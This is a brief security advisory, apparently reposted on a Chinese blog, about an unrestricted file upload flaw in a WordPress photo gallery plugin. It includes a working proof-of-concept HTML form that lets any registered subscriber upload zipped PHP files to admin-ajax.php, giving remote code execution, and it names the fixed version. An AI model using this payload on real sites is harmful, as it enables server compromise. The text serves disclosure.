1. Description Every registered user (even Subscriber) can access upload functionality because of read role used inside UploadHandler.php 2. Proof of ConceptLogin as regular user (created using wp-login.php?action=register).Pack .php files into .zip archive then send it using:<form method="post" action="http://wordpress-install/wp-admin/admin-ajax.php?action=bwg_UploadHandler&dir=rce/" enctype="multipart/form-data"> <input type="file" name="files"> <input type="submit" value="Hack!"></form>Your files will be visible inside: 3. Solution: Update to version 1.2.6前提先注册用户~~~~~~~~
参考:
http://security.szurek.pl/photo-gallery-125-unrestricted-file-upload.html
相关文章
我的微信
微信扫一扫


评论